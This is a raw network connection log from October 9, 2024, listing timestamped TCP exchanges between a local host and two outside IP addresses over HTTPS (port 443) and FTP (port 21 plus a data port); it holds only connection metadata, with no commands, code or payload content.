Oct 9, 2024 10:51:18.511419058 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.511435986 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.511533976 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.511888027 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.511941910 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.642286062 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.642405033 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.642458916 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.642524004 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.642740965 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.642803907 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.643071890 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.643130064 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.643234968 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.643285990 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.643707037 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.643763065 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.644124985 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.644171953 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.644181967 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.644191027 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.644218922 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.644236088 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.644768953 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.644828081 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.644841909 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.644893885 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.644895077 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.644903898 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.644943953 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.645633936 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.645682096 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.645834923 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.645883083 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.646787882 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.646847963 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.646853924 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.646859884 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.646888018 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.646903038 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.646919966 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.646925926 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.646953106 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.646984100 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.901052952 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.901071072 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.901174068 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.901187897 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.901247025 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.901283979 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.901339054 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.901787996 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.901845932 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.901931047 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.901984930 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.902434111 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.902498007 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.902587891 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.902642012 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.903176069 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.903230906 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.903336048 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.903413057 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.903481007 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.903538942 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.904006004 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.904062986 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.904064894 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.904077053 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.904110909 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.904912949 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.904982090 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.905034065 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.905106068 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.905119896 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.905128956 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.905174017 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.905189991 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.905834913 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.905881882 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.905911922 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.905916929 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.905945063 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.905966043 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.906358957 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.906419039 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.979697943 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.979799986 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.979871988 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.979953051 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.979981899 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.980146885 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.980278015 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.980338097 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.980417013 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.980473995 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.980846882 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.980931044 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.981249094 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.981308937 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.981374979 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.981453896 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.981812000 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.981868029 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.981888056 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.981935978 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:18.981992960 CEST	443	49735	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:18.982038975 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:19.068258047 CEST	49735	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:20.711957932 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:20.716828108 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:20.717000961 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:21.204077005 CEST	49731	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:21.326148033 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:21.326410055 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:21.331620932 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:21.545527935 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:21.546813965 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:21.551867962 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:21.791490078 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:21.791709900 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:21.797043085 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:22.010991096 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:22.011218071 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:22.016251087 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:22.230489016 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:22.230655909 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:22.235595942 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:22.452299118 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:22.453718901 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:22.464556932 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:22.673631907 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:22.674413919 CEST	49741	59878	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:22.680119991 CEST	59878	49741	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:22.680192947 CEST	49741	59878	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:22.680289984 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:22.686470985 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:23.289320946 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:23.289577961 CEST	49741	59878	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:23.289655924 CEST	49741	59878	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:23.294802904 CEST	59878	49741	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:23.295432091 CEST	59878	49741	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:23.295500040 CEST	49741	59878	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:23.332248926 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:23.509576082 CEST	21	49740	5.2.84.236	192.168.2.4
Oct 9, 2024 10:51:23.550998926 CEST	49740	21	192.168.2.4	5.2.84.236
Oct 9, 2024 10:51:23.594183922 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:23.594249010 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:23.594476938 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:23.599977970 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:23.599996090 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:24.612591028 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:24.612688065 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:24.618252993 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:24.618267059 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:24.618662119 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:24.664414883 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:24.751929998 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:24.795402050 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.402081966 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.402129889 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.402139902 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.402223110 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.402241945 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.407032013 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.407342911 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.407351017 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.407743931 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.407846928 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.407854080 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.409060955 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.409126997 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.409132957 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.409972906 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.410057068 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.410063982 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.457340956 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.640352964 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.640404940 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.640502930 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.640634060 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.640836954 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.640856028 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.640914917 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.640914917 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.641311884 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.641331911 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.641508102 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.641544104 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.641561031 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.641561031 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.641575098 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.641773939 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.645402908 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.645657063 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.646076918 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.646426916 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.646430969 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.646454096 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.646498919 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.646498919 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.874123096 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.874155998 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.874293089 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.874314070 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.874417067 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.874475002 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.874475002 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.874488115 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.874516964 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.874533892 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.874541044 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.874641895 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.875039101 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.875114918 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.875349998 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.875422955 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.875638962 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.875772953 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.876070976 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.876226902 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.876317978 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.876413107 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.879156113 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.879254103 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.879276037 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.879343987 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.879599094 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.879668951 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.879858971 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.879976988 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.961462975 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.961606026 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.961637020 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.961661100 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:25.961684942 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:25.961707115 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.107948065 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.108102083 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.108688116 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.108766079 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.108997107 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.109050989 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.109302998 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.109365940 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.109899998 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.109972000 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.110004902 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.110064983 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.110562086 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.110635996 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.110692024 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.110754013 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.110765934 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.110829115 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.111468077 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.111532927 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.111550093 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.111617088 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.112277031 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.112339020 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.112377882 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.112443924 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.112472057 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.112530947 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.113207102 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.113276005 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.113301992 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.113370895 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.195044994 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.195173979 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.195308924 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.195308924 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.195324898 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.195369005 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.195400953 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.195869923 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.195939064 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.195957899 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.196275949 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.196343899 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.196358919 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.196373940 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.196427107 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.196434021 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.196875095 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.196940899 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.196952105 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.197339058 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.197396994 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.197407961 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.197439909 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.197494984 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.197501898 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.198154926 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.198223114 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.198234081 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.198257923 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.198312998 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.198319912 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.198353052 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.198402882 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.198409081 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.198923111 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.198990107 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.199008942 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.238651037 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.341244936 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.341378927 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.341437101 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.341464996 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.341507912 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.341515064 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.341701984 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.341768026 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.342117071 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.342189074 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.342200041 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.342226982 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.342262983 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.342293978 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.342694998 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.342767000 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.343210936 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.343281031 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.343292952 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.343362093 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.343765020 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.343831062 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.343888044 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.343956947 CEST	49742	443	192.168.2.4	103.191.208.122
Oct 9, 2024 10:51:26.343964100 CEST	443	49742	103.191.208.122	192.168.2.4
Oct 9, 2024 10:51:26.343988895 CEST	443	49742	103.191.208.122	192.168.2.4
